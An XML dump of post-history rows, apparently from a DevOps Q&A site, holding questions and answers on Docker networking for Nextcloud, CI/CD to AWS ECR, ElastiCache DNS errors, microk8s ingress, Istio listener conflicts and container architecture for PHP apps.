  <row Id="41796" PostHistoryTypeId="50" PostId="13383" RevisionGUID="028815fa-ca3a-42d5-8a3a-2f1525378f9d" CreationDate="2021-03-21T12:02:10.197" UserId="-1" />
  <row Id="41797" PostHistoryTypeId="2" PostId="13586" RevisionGUID="545cbf79-a4a0-4f0d-9ddd-cafb4f3e9d6b" CreationDate="2021-03-21T16:28:58.410" UserId="26714" Text="I'm deploying nextcloud via docker, however the way the configuration is set up, it creates a subnetwork at 10.10.10.0/24 on the system it's running on instead of running it on 127.0.0.1. Then the only way to access it is by navigating to 10.10.0.5 on the host machine.&#xD;&#xA;&#xD;&#xA;However, I want to be able to access this image from every machine on my local network.&#xD;&#xA;&#xD;&#xA;I already have a few things running, so I need to map the port as well.&#xD;&#xA;&#xD;&#xA;Is there an intuitive way to map the network such that navigating to 127.0.0.1:2287 maps it to 10.10.0.5? I can't seem to find anything indicating how to do this. &#xD;&#xA;&#xD;&#xA;I would think this would have to be a bidirectional mapping since it needs to send data back since it's nextcloud, but I'm unsure about this.&#xD;&#xA;&#xD;&#xA;I did try setting up the docker container to report to 127.0.0.1 but it didn't work out. It would only report on 172.19.0.5&#xD;&#xA;&#xD;&#xA;If you wanted to see my docker setup, it's as follows:&#xD;&#xA;&#xD;&#xA;1. Create the subnetwork for docker: `docker network create --driver=bridge --subnet=10.10.10.0/24 --gateway=10.10.10.1 dockernet`&#xD;&#xA;&#xD;&#xA;2. Run docker-compose&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: '3' &#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  nextclouddb:&#xD;&#xA;    image: mariadb&#xD;&#xA;    container_name: nextcloud-mariadb&#xD;&#xA;    volumes:&#xD;&#xA;      - /home/username/data/mysql:/var/lib/mysql&#xD;&#xA;      - /etc/localtime:/etc/localtime:ro&#xD;&#xA;    networks:&#xD;&#xA;      default:&#xD;&#xA;        ipv4_address: 10.10.10.4&#xD;&#xA;    environment:&#xD;&#xA;      - MYSQL_ROOT_PASSWORD=STONGPASSWORD&#xD;&#xA;      - MYSQL_PASSWORD=ANOTHERSTONGPASSWORD&#xD;&#xA;      - MYSQL_DATABASE=nextcloud&#xD;&#xA;      - MYSQL_USER=nextcloud&#xD;&#xA;    restart: unless-stopped&#xD;&#xA;  &#xD;&#xA;  nextcloudapp:&#xD;&#xA;    image: nextcloud:latest&#xD;&#xA;    container_name: nextcloud-app&#xD;&#xA;    networks:&#xD;&#xA;      default:&#xD;&#xA;        ipv4_address: 10.10.10.5&#xD;&#xA;    volumes:&#xD;&#xA;      - /home/username/data/html:/var/www/html&#xD;&#xA;      - /home/username/data/config:/var/www/html/config&#xD;&#xA;      - /home/username/data/apps:/var/www/html/custom_apps&#xD;&#xA;      - /home/username/data/data:/var/www/html/data&#xD;&#xA;      - /home/username/data/themes:/var/www/html/themes&#xD;&#xA;      - /etc/localtime:/etc/localtime:ro&#xD;&#xA;    restart: unless-stopped&#xD;&#xA;&#xD;&#xA;networks:&#xD;&#xA;  default:&#xD;&#xA;    external:&#xD;&#xA;      name: dockernet&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="41798" PostHistoryTypeId="1" PostId="13586" RevisionGUID="545cbf79-a4a0-4f0d-9ddd-cafb4f3e9d6b" CreationDate="2021-03-21T16:28:58.410" UserId="26714" Text="How to create a local network mapping in linux" ContentLicense="CC BY-SA 4.0" />
  <row Id="41799" PostHistoryTypeId="3" PostId="13586" RevisionGUID="545cbf79-a4a0-4f0d-9ddd-cafb4f3e9d6b" CreationDate="2021-03-21T16:28:58.410" UserId="26714" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;containers&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41801" PostHistoryTypeId="2" PostId="13587" RevisionGUID="cbda8b56-30dc-4360-ad75-0395ff635491" CreationDate="2021-03-21T18:55:43.933" UserId="26718" Text="I'm new at DevOps, and I looking for solution to my problem.&#xD;&#xA;&#xD;&#xA;I have a private code repository where I have a some Flask apps in one of many folders. Example of structure:&#xD;&#xA;&#xD;&#xA;    - Project&#xD;&#xA;    -- Django Apps&#xD;&#xA;    --- django1_dir&#xD;&#xA;    --- django2_dir&#xD;&#xA;    --- django3_dir&#xD;&#xA;    -- Flask Apps&#xD;&#xA;    --- flaskApp_dir1 (dockerfile inside)&#xD;&#xA;    --- flaskApp_dir2 (dockerfile inside)&#xD;&#xA;    --- flaskApp_dir3 (dockerfile inside)&#xD;&#xA;&#xD;&#xA;And I have a configured cluster on kubernetes on AWS instance. And a private docker repo. When I want to load new version of my flaskApp to cluster I need:&#xD;&#xA;&#xD;&#xA;1. Someone modify flaskApp on repo&#xD;&#xA;2. I need pull repo&#xD;&#xA;3. Locally build a new image based on new dockerfile&#xD;&#xA;4. Push app to repo&#xD;&#xA;5. Manually push docker image with new APPVersion to AWS trough ecr&#xD;&#xA;6. Then kubernetes change image to new version&#xD;&#xA;&#xD;&#xA;My question is:&#xD;&#xA;&#xD;&#xA;how can I automate this process? I have an script to push dockerimage to AWS through ecr.&#xD;&#xA;It is possible to create some kind of trigger that would work in such a way:&#xD;&#xA;&#xD;&#xA;1. Someone do a commit&#xD;&#xA;2. Script building a new docker image and push it to AWS automaticly&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I read something about it, but as I said I'm totaly new in DevOps so any hint will be awesome.&#xD;&#xA;Now I have configured kubernetes, that aws instances and repo for docker images. I read about git hooks, flux and some other solutions but it's quite unclear for me so I looking for best practice for that problem. I wouldn't particularly want to install huge new tools either.&#xD;&#xA;&#xD;&#xA;So maybe any hits or keywords I could get hooked on?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41802" PostHistoryTypeId="1" PostId="13587" RevisionGUID="cbda8b56-30dc-4360-ad75-0395ff635491" CreationDate="2021-03-21T18:55:43.933" UserId="26718" Text="Auto build and upload to AWS new docker image after commit in repo" ContentLicense="CC BY-SA 4.0" />
  <row Id="41803" PostHistoryTypeId="3" PostId="13587" RevisionGUID="cbda8b56-30dc-4360-ad75-0395ff635491" CreationDate="2021-03-21T18:55:43.933" UserId="26718" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;automation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41804" PostHistoryTypeId="2" PostId="13588" RevisionGUID="c1eece44-3266-46a6-a510-4a7e6076a094" CreationDate="2021-03-21T20:23:44.037" UserId="6162" Text="&gt;how can I automate this process? I have an script to push dockerimage to AWS through ecr.&#xD;&#xA;&#xD;&#xA;You are on the right track. Yes, this should be an automated process from Git push or when someone merge a Pull Request.&#xD;&#xA;&#xD;&#xA;An important aspect of this is that this &quot;automated process&quot; should be on a dedicated system - such that it is _repeatable_ in a _consistent_ way. Typically this is called a &quot;Continuous Integration Server&quot; or just &quot;Build Server&quot;.&#xD;&#xA;&#xD;&#xA;Some popular choices for this kind of process:&#xD;&#xA;&#xD;&#xA;* [Jenkins][1] - old but popular&#xD;&#xA;* [Tekton][2] - Kubernetes native - but still in development&#xD;&#xA;* [GitHub Actions][3] - probably most interesting if your Git repo is on GitHub&#xD;&#xA;* [Bitbucket Pipelines][4] - probably most interesting if your Git repo is Bitbucket&#xD;&#xA;* [AWS CodeBuild][5] - limited but may be interesting if you use AWS&#xD;&#xA;* [GitLab CI][6] - probably most interesting if your Git repo is on GitLab&#xD;&#xA;&#xD;&#xA;What you need to do is to configure your Git repository system (e.g. GitHub, Bitbucket, Gitlab or AWS CodeCommit) to initiate Pipelines on the Build system (a product of those listed above)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jenkins.io/&#xD;&#xA;  [2]: https://tekton.dev/&#xD;&#xA;  [3]: https://github.com/features/actions&#xD;&#xA;  [4]: https://bitbucket.org/product/features/pipelines&#xD;&#xA;  [5]: https://aws.amazon.com/codebuild/&#xD;&#xA;  [6]: https://docs.gitlab.com/ee/ci/" ContentLicense="CC BY-SA 4.0" />
  <row Id="41806" PostHistoryTypeId="2" PostId="13590" RevisionGUID="9968dae5-6d4a-4e94-9bed-68d72f830599" CreationDate="2021-03-22T16:57:27.747" UserId="26736" Text="Just add the managed policy **CloudWatchReadOnlyAccess** as proposed in the [documentation][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/de_de/chatbot/latest/adminguide/chatbot-iam-policies.html#CloudwatchReadOnlyAccess-policy-for-chatbot" ContentLicense="CC BY-SA 4.0" />
  <row Id="41807" PostHistoryTypeId="2" PostId="13591" RevisionGUID="de4665bb-dc93-400b-be49-337cc4237283" CreationDate="2021-03-22T17:18:49.040" UserId="22660" Text="## The Problem &amp; The Question&#xD;&#xA;&#xD;&#xA;I'm trying to create an AWS ElastiCache Redis-flavored cluster and connect to it from an instance in the same VPC. When I create the cluster initially, I can connect to it just fine via `redis-cli`. If I wait a day or two and then try to connect to it again via `redis-cli`, I get the following error:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ redis-cli -h &lt;aws-elasticache-cluster-primary-endpoint&gt;&#xD;&#xA;Could not connect to Redis at &lt;aws-elasticache-cluster-primary-endpoint&gt;:6379: Name or service not known&#xD;&#xA;not connected&gt; &#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I should be able to connect again with no issue. Why would I be getting DNS errors the next day when it worked initially? Nothing has changed about the cluster since I created it. How could I fix this?&#xD;&#xA;&#xD;&#xA;## Steps to Reproduce&#xD;&#xA;&#xD;&#xA;1. ElastiCache Dashboard -&gt; Redis -&gt; Create.&#xD;&#xA;1. Set the following options:&#xD;&#xA;&#xD;&#xA;   | Option | Value |&#xD;&#xA;   |:-------|:------|&#xD;&#xA;   | Cluster Engine | Redis |&#xD;&#xA;   | Location | Amazon Cloud |&#xD;&#xA;   | Engine version compatibility | 6.x |&#xD;&#xA;   | Port | 6379 |&#xD;&#xA;   | Parameter group | default.redis6.x |&#xD;&#xA;   | Node type | cache.t3.micro |&#xD;&#xA;   | Number of replicas | 0 |&#xD;&#xA;   | Multi-AZ | false |&#xD;&#xA;   | Subnet group | default |&#xD;&#xA;   | Security groups | default |&#xD;&#xA;   | Encryption at-rest | false |&#xD;&#xA;   | Encryption in-transit | false |&#xD;&#xA;&#xD;&#xA;1. Create.&#xD;&#xA;1. After creating, verify you can connect to the cluster with:&#xD;&#xA;&#xD;&#xA;   `redis-cli -h &lt;aws-elasticache-cluster-primary-endpoint&gt;`&#xD;&#xA;&#xD;&#xA;1. Disconnect.&#xD;&#xA;1. Try reconnecting with the same `redis-cli` command a few days later. You should see the errors shown in the section above.&#xD;&#xA;&#xD;&#xA;## Additional Information&#xD;&#xA;&#xD;&#xA;### `nping`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ sudo nping --tcp -p 6379 &lt;aws-elasticache-cluster-primary-endpoint&gt;&#xD;&#xA;Failed to resolve given hostname/IP: &lt;aws-elasticache-cluster-primary-endpoint&gt;.  Note that you can't use '/mask' AND '1-4,7,100-' style IP ranges&#xD;&#xA;Cannot find a valid target. Please make sure the specified hosts are either IP addresses in standard notation or hostnames that can be resolved with DNS&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;### `nslookup`&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ sudo nslookup &lt;aws-elasticache-cluster-primary-endpoint&gt;&#xD;&#xA;Server:         75.75.75.75&#xD;&#xA;Address:        75.75.75.75#53&#xD;&#xA;&#xD;&#xA;** server can't find &lt;aws-elasticache-cluster-primary-endpoint&gt;: REFUSED&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;### Reachability Analyzer&#xD;&#xA;&#xD;&#xA;I followed [AWS' instructions](https://docs.aws.amazon.com/AmazonElastiCache/latest/red-ug/TroubleshootingConnections.html#Connectivity) for testing connectivity from my EC2 instance to the ElastiCache cluster. The results I got back for the connectivity were:&#xD;&#xA;&#xD;&#xA;| Reachability Status | State |&#xD;&#xA;|:---|:---|&#xD;&#xA;| Reachable | Succeeded |&#xD;&#xA;&#xD;&#xA;### Cluster Metrics&#xD;&#xA;&#xD;&#xA;| Metric | Value |&#xD;&#xA;|:-------|------:|&#xD;&#xA;| CPU Utilization | ~1.000% |&#xD;&#xA;| Engine CPU Utilization | ~0.283% |&#xD;&#xA;| Database Memory Usage Percentage | ~1.093% |&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41808" PostHistoryTypeId="1" PostId="13591" RevisionGUID="de4665bb-dc93-400b-be49-337cc4237283" CreationDate="2021-03-22T17:18:49.040" UserId="22660" Text="AWS ElastiCache Redis DNS error - Name or service not known" ContentLicense="CC BY-SA 4.0" />
  <row Id="41809" PostHistoryTypeId="3" PostId="13591" RevisionGUID="de4665bb-dc93-400b-be49-337cc4237283" CreationDate="2021-03-22T17:18:49.040" UserId="22660" Text="&lt;amazon-web-services&gt;&lt;redis&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41810" PostHistoryTypeId="33" PostId="13581" RevisionGUID="eb99821b-ce61-4590-b34c-420c8bdd3e05" CreationDate="2021-03-22T17:53:18.003" UserId="26489" Comment="69" />
  <row Id="41811" PostHistoryTypeId="2" PostId="13592" RevisionGUID="a2a98843-e848-46b4-915f-59377b726d38" CreationDate="2021-03-22T20:07:32.787" UserId="26696" Text="This was answered via StackOverflow by Kevin Lu:&#xD;&#xA;&#xD;&#xA;https://stackoverflow.com/a/66739852/1224614&#xD;&#xA;&#xD;&#xA;In short, the second suggestion he made to update to PowerShell 7 and adding the environment information worked. I also had to run the script to reregister the Azure agent on the target server." ContentLicense="CC BY-SA 4.0" />
  <row Id="41830" PostHistoryTypeId="50" PostId="13396" RevisionGUID="096d7f1c-a8d3-4670-9213-2c5ee5c20ed7" CreationDate="2021-03-23T12:01:30.150" UserId="-1" />
  <row Id="41831" PostHistoryTypeId="2" PostId="13597" RevisionGUID="2e91587e-ecff-40bc-82ef-991c96554fe9" CreationDate="2021-03-23T14:12:27.447" UserId="26731" Text="Do you have network constraints to create a new subnet or what is the reason?&#xD;&#xA;if it's not useful at all, you can just map the port and open the firewall of your PC so that the other machines can see the application.&#xD;&#xA;```yaml&#xD;&#xA;version: '3' &#xD;&#xA;services:&#xD;&#xA;  nextclouddb:&#xD;&#xA;    image: mariadb&#xD;&#xA;    container_name: nextcloud-mariadb&#xD;&#xA;    volumes:&#xD;&#xA;      - /home/username/data/mysql:/var/lib/mysql&#xD;&#xA;      - /etc/localtime:/etc/localtime:ro&#xD;&#xA;    environment:&#xD;&#xA;      - MYSQL_ROOT_PASSWORD=STONGPASSWORD&#xD;&#xA;      - MYSQL_PASSWORD=ANOTHERSTONGPASSWORD&#xD;&#xA;      - MYSQL_DATABASE=nextcloud&#xD;&#xA;      - MYSQL_USER=nextcloud&#xD;&#xA;    restart: unless-stopped&#xD;&#xA;  &#xD;&#xA;  nextcloudapp:&#xD;&#xA;    image: nextcloud:latest&#xD;&#xA;    container_name: nextcloud-app&#xD;&#xA;    volumes:&#xD;&#xA;      - /home/username/data/html:/var/www/html&#xD;&#xA;      - /home/username/data/config:/var/www/html/config&#xD;&#xA;      - /home/username/data/apps:/var/www/html/custom_apps&#xD;&#xA;      - /home/username/data/data:/var/www/html/data&#xD;&#xA;      - /home/username/data/themes:/var/www/html/themes&#xD;&#xA;      - /etc/localtime:/etc/localtime:ro&#xD;&#xA;    restart: unless-stopped&#xD;&#xA;    ports:&#xD;&#xA;      - 2287:80  &#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="41832" PostHistoryTypeId="5" PostId="13581" RevisionGUID="b0db5be3-1d7d-48c1-95ec-d34c0f986e74" CreationDate="2021-03-23T17:59:18.583" UserId="26489" Comment="Tried to make question more clear since I wasn't getting any resopnses." Text="To start, I am new to Kubernetes, so please feel free to point out and correct any terminology I get wrong.&#xD;&#xA;&#xD;&#xA;In a nutshell, I want to be able to run `microk8s enable ingress` with custom configuration applied, but the only two configuration files I've located are read only (I can't even edit them with root).&#xD;&#xA;&#xD;&#xA;More specifically, I'd like to [enable SSL passthrough in the nginx-ingress-controller][1]. I've located two different `ingress.yaml` manifests in the following locations (both of which appear to be identical after a diff comparison):&#xD;&#xA;&#xD;&#xA;    /snap/microk8s/current/actions/ingress.yaml&#xD;&#xA;    /snap/microk8s/current/microk8s-resources/actions/ingress.yaml&#xD;&#xA;&#xD;&#xA;The problem is, these two files are read only, which I'm assuming is intentional. I'm guessing something must have generated them during the installation process, but it's not clear to me where they came from. What is the proper way to modify the global, system manifests, such as the one for the ingress controller?&#xD;&#xA;&#xD;&#xA;Site note: Since I wasn't able to modify the original files, I was hoping I could just copy one of the original files and apply it manually with `microk8s kubectl apply -f ingress.yaml`. To my surprise, I actually got an error when I did so. This confuses me even more (I'm sure I could figure out where the YAML problem is, but it baffles me because it appears one of the two mentioned YAML files is what gets applied when you run the `microk8s enable ingress` command).&#xD;&#xA;&#xD;&#xA;    error: error parsing ingress.yaml: error converting YAML to JSON: yaml: line 52: could not find expected ':'&#xD;&#xA;&#xD;&#xA;What is the proper way to modify the parameters (e.g., add the `--enable-ssl-passthrough` switch) for manifests, like the one for the microk8s ingress controller?&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.github.io/ingress-nginx/user-guide/cli-arguments/" ContentLicense="CC BY-SA 4.0" />
  <row Id="41835" PostHistoryTypeId="2" PostId="13598" RevisionGUID="17099f44-1379-4fae-a724-9fc87a028b78" CreationDate="2021-03-23T20:38:04.973" UserId="26757" Text="Adding on @sysadmin1138's answer, to push the content of a folder to another folder while keeping the directory structure starting from the source folder, you can use:&#xD;&#xA;&#xD;&#xA;```sh-session&#xD;&#xA;(cd source-folder &amp;&amp; jfrog rt upload --detailed-summary --flat=false --recursive ./ artifact-repo/target-folder/&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The `--detailed-summary` will tell you the details of all the files uploaded." ContentLicense="CC BY-SA 4.0" />
  <row Id="41840" PostHistoryTypeId="34" PostId="10929" RevisionGUID="0eb3c32e-4471-42df-910f-a31ad93d7d07" CreationDate="2021-03-24T15:00:25.047" UserId="-1" Comment="68" />
  <row Id="41841" PostHistoryTypeId="2" PostId="13600" RevisionGUID="c8ffa82c-0a70-4032-a4d0-d1fde5c735f0" CreationDate="2021-03-24T17:10:05.067" UserId="26783" Text="Every so often we see push status messages from `istiod` that report a `pilot_conflict_inbound_listener`. The conflicts appear to be reported for pods with more than one `ClusterIP` service pointing at them. &#xD;&#xA;An example logged for our HA-ArgoCD-Redis pods is below. No Istio gateway/virtualservice/destination-rule is defined for redis. Each pod has an associated service and a loadblancer pointing at all three endpoints. &#xD;&#xA;&#xD;&#xA;    2021-03-12T08:44:18.955564Z    info    ads    Push Status: {&#xD;&#xA;        &quot;pilot_conflict_inbound_listener&quot;: {&#xD;&#xA;            &quot;argocd-redis-ha-server-0.argocd&quot;: {&#xD;&#xA;                &quot;proxy&quot;: &quot;argocd-redis-ha-server-0.argocd&quot;,&#xD;&#xA;                &quot;message&quot;: &quot;Conflicting inbound listener:6379. existing: argocd-redis-ha-announce-0.argocd.svc.cluster.local, incoming: argocd-redis-ha.argocd.svc.cluster.local&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;argocd-redis-ha-server-1.argocd&quot;: {&#xD;&#xA;                &quot;proxy&quot;: &quot;argocd-redis-ha-server-1.argocd&quot;,&#xD;&#xA;                &quot;message&quot;: &quot;Conflicting inbound listener:6379. existing: argocd-redis-ha-announce-1.argocd.svc.cluster.local, incoming: argocd-redis-ha.argocd.svc.cluster.local&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;argocd-redis-ha-server-2.argocd&quot;: {&#xD;&#xA;                &quot;proxy&quot;: &quot;argocd-redis-ha-server-2.argocd&quot;,&#xD;&#xA;                &quot;message&quot;: &quot;Conflicting inbound listener:26379. existing: argocd-redis-ha-announce-2.argocd.svc.cluster.local, incoming: argocd-redis-ha.argocd.svc.cluster.local&quot;&#xD;&#xA;            }&#xD;&#xA;        },&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;We do not observe connectivity issues with the services reported. And the information is logged at level `info` after all. But we are wondering whether this could cause undesirable side-effects we have not detected yet? Also, can we avoid the report? As far as I can tell having multiple services aliasing a pod is a valid K8S setup?&#xD;&#xA;&#xD;&#xA;    $ istioctl version&#xD;&#xA;    client version: 1.9.1&#xD;&#xA;    control plane version: 1.9.1&#xD;&#xA;    data plane version: 1.9.1 (21 proxies)&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41842" PostHistoryTypeId="1" PostId="13600" RevisionGUID="c8ffa82c-0a70-4032-a4d0-d1fde5c735f0" CreationDate="2021-03-24T17:10:05.067" UserId="26783" Text="istiod reports &quot;pilot_conflict_inbound_listener&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41843" PostHistoryTypeId="3" PostId="13600" RevisionGUID="c8ffa82c-0a70-4032-a4d0-d1fde5c735f0" CreationDate="2021-03-24T17:10:05.067" UserId="26783" Text="&lt;kubernetes&gt;&lt;istio&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41844" PostHistoryTypeId="33" PostId="13591" RevisionGUID="0e6ee17c-6d6f-4934-a9a1-5dee69bac409" CreationDate="2021-03-24T17:19:45.803" UserId="22660" Comment="70" />
  <row Id="41845" PostHistoryTypeId="5" PostId="13600" RevisionGUID="62d2e3fb-2053-4af3-ace7-0dd4b10feb9a" CreationDate="2021-03-24T17:33:52.300" UserId="26783" Comment="added 91 characters in body" Text="Every so often we see push status messages from `istiod` that report a `pilot_conflict_inbound_listener`. The conflicts appear to be reported for pods with more than one `ClusterIP` service pointing at them. &#xD;&#xA;An example logged for our HA-ArgoCD-Redis pods is below. No Istio gateway/virtualservice/destination-rule is defined for redis. Each pod has an associated service and a loadblancer pointing at all three endpoints. &#xD;&#xA;&#xD;&#xA;    2021-03-12T08:44:18.955564Z    info    ads    Push Status: {&#xD;&#xA;        &quot;pilot_conflict_inbound_listener&quot;: {&#xD;&#xA;            &quot;argocd-redis-ha-server-0.argocd&quot;: {&#xD;&#xA;                &quot;proxy&quot;: &quot;argocd-redis-ha-server-0.argocd&quot;,&#xD;&#xA;                &quot;message&quot;: &quot;Conflicting inbound listener:6379. existing: argocd-redis-ha-announce-0.argocd.svc.cluster.local, incoming: argocd-redis-ha.argocd.svc.cluster.local&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;argocd-redis-ha-server-1.argocd&quot;: {&#xD;&#xA;                &quot;proxy&quot;: &quot;argocd-redis-ha-server-1.argocd&quot;,&#xD;&#xA;                &quot;message&quot;: &quot;Conflicting inbound listener:6379. existing: argocd-redis-ha-announce-1.argocd.svc.cluster.local, incoming: argocd-redis-ha.argocd.svc.cluster.local&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;argocd-redis-ha-server-2.argocd&quot;: {&#xD;&#xA;                &quot;proxy&quot;: &quot;argocd-redis-ha-server-2.argocd&quot;,&#xD;&#xA;                &quot;message&quot;: &quot;Conflicting inbound listener:26379. existing: argocd-redis-ha-announce-2.argocd.svc.cluster.local, incoming: argocd-redis-ha.argocd.svc.cluster.local&quot;&#xD;&#xA;            }&#xD;&#xA;        },&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;We do not observe connectivity issues with the services reported. And the information is logged at level `info` after all. But we are wondering whether this could cause undesirable side-effects we have not detected yet? Also, can we avoid the report? As far as I can tell having multiple services aliasing a pod is a valid K8S setup?&#xD;&#xA;&#xD;&#xA;    $ istioctl version&#xD;&#xA;    client version: 1.9.1&#xD;&#xA;    control plane version: 1.9.1&#xD;&#xA;    data plane version: 1.9.1 (21 proxies)&#xD;&#xA;&#xD;&#xA;Neither Kiali nor `istioctl analyze` report problems with regards to those pods/services." ContentLicense="CC BY-SA 4.0" />
  <row Id="41846" PostHistoryTypeId="2" PostId="13601" RevisionGUID="d56ff723-de5a-45c0-b097-b8dda5285ec0" CreationDate="2021-03-24T19:10:14.400" UserId="26794" Text="I have a number of different jobs in my Azure Runbook. However, I don't have an easy way of differentiating between jobs when I look at the Overview of the Runbook. I am forced to click on each individual job to see which one it is. Is there a way I can &quot;label&quot; my job so that it is easily identifiable from the Overview screen?&#xD;&#xA;&#xD;&#xA;Thanks!" ContentLicense="CC BY-SA 4.0" />
  <row Id="41847" PostHistoryTypeId="1" PostId="13601" RevisionGUID="d56ff723-de5a-45c0-b097-b8dda5285ec0" CreationDate="2021-03-24T19:10:14.400" UserId="26794" Text="Make a job easily searchable in Azure Runbook" ContentLicense="CC BY-SA 4.0" />
  <row Id="41848" PostHistoryTypeId="3" PostId="13601" RevisionGUID="d56ff723-de5a-45c0-b097-b8dda5285ec0" CreationDate="2021-03-24T19:10:14.400" UserId="26794" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41849" PostHistoryTypeId="5" PostId="13265" RevisionGUID="7add0044-5b3b-46ed-9a9a-adc6913bb989" CreationDate="2021-03-24T20:17:34.763" UserId="25867" Comment="added 508 characters in body" Text="Im heavily investigating this, and like many people, im discovering that in 2020 there doesn't seem to be so much logic in separating tightly coupled webserver + PHP + app process/code from each other:&#xD;&#xA;&#xD;&#xA;**Two main arguments for separation are scalability and separation of concerns (one process per container).**&#xD;&#xA;&#xD;&#xA;Logically the webserver should only act as webserver and distribute traffic to PHP nodes behind a service that uses a LB.&#xD;&#xA;&#xD;&#xA;This way one container/service serves webserver purpose and serves static files, while proxying the php requests to the php pod which only concerns with PHP. &#xD;&#xA;&#xD;&#xA;And webserver and php pods can scale differently - ie you may need 50-100 PHP pods for a workload, but only 3-4 webserver nodes. So you save on resources. Great!&#xD;&#xA;&#xD;&#xA;**Except in respect to separation of concerns...**&#xD;&#xA;&#xD;&#xA;If the webserver is not going to serve requests to different apps, there is little logic for separation of concerns to different containers - leave aside services. If the app is coupled with the webserver, you just end up spawning extra webserver pods, with accompanying service and load balancers to go with them.&#xD;&#xA;&#xD;&#xA;On top of that you will have to distribute the app code to both containers or mount them from a NFS bind, or non NFS mount. You will have to deal with all the relevant access and permission stuff, if you put the app code in both pods you will have to deal with static + dynamic file separation, or even end up having to distribute both type of files to both pods. You could put two containers and make one of them mount directories on the other and that would work, but that actually puts two containers in the same logical host in regard to network, host etc so you are still combining them. This still provides some separation of concerns though. But the communication in between the two containers in the same pod is a concern - it has to either happen through intra-host network over loopback, which uses network stack and is less performant. Maybe sockets could work.&#xD;&#xA;&#xD;&#xA;Even worse if your app may require webserver being present in the same container - for example if you are doing ssl termination and have to carry over the visitor's actual ip to the php pod, you may end up having to jump through some hoops. While both webserver and php are available in the same container, this can be done through various means.&#xD;&#xA;&#xD;&#xA;When everything is in one container, none of these is necessary. Everything is neatly packed in the same place, no need to track different deployments, services, app codes, replication controllers.&#xD;&#xA;&#xD;&#xA;This kind of singular container/deployment is very advantageous today especially if you are using ingress-nginx or nginx-ingress and hosting many different apps/sites in the same cluster. Each app/site is contained in its own container (imagine different WordPress sites), each site is completely contained in its permissions, access, deployment, version, requirements etc.&#xD;&#xA;&#xD;&#xA;So much that you could even allow apps/sites to customize their runtime environments by providing configuration files for webserver or php from NFS shares or other mounts - ie .htaccess, php.ini etc. Which is a must for hosting different apps since people tend to have different requirements.&#xD;&#xA;&#xD;&#xA;**In respect to performance**&#xD;&#xA;&#xD;&#xA;Today NGINX or Apache require very little resources with event based request handling. For example in my benchmarks, i saw Apache 2 with event mpm requiring only 3-4 MB memory, and a grand total of ~2-3% cpu (out of 1000m requested cpu, ie 1 vcpu) while handling 50-100 concurrent requests per second while serving WordPress.&#xD;&#xA;&#xD;&#xA;The weights of webserver vs PHP pods would differ depending on the app or website of course, and there could definitely be apps which would require such a separation, but for most common web workloads this does not seem necssary.&#xD;&#xA;&#xD;&#xA;So spawning a few Apache pods and then spawning hundred or more PHP pods does not seem to bring much gain. Aside from creating internal cluster network traffic as pods need to communicate with each other and also you create more complication in the app configurations (deployments, services, load balancers etc).&#xD;&#xA;&#xD;&#xA;Another disadvantage of separating containers is that you create two times the services per app. This will reflect on the limits of the cluster you create since services, pods require ip addresses.&#xD;&#xA;&#xD;&#xA;When webserver + PHP +app are in the same container, the webserver can just communicate with php-fpm via file sockets. Which is faster, and creates less network overhead even on loopback interface inside the container, leave aside creating network traffic inside the cluster. Internal network and cpu load saved.&#xD;&#xA;&#xD;&#xA;**In conclusion...**&#xD;&#xA;&#xD;&#xA;For specific purposes, with one Apache 2 or NGINX server distributing requests to different apps on different PHP-FPM clusters, separating concerns would likely be a necessity.&#xD;&#xA;&#xD;&#xA;But in the era of ingress-nginx, this really doesn't seem necessary.&#xD;&#xA;&#xD;&#xA;Especially reduced complexity, portability, saved performance and internal cluster noise, better customization and other benefits gained from packaging tightly coupled server + PHP + app deployments in one single container seem to be too good to pass.&#xD;&#xA;&#xD;&#xA;Furthermore, this even enables shared-hosting like formats in Kubernetes clusters, which seems to open many possibilities.&#xD;&#xA;&#xD;&#xA;I would very much appreciate any input from anyone who had experience in dealing with this choice in between selecting singular container for tightly coupled app vs multiple cointainers, or anyone who did benchmarks on these.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
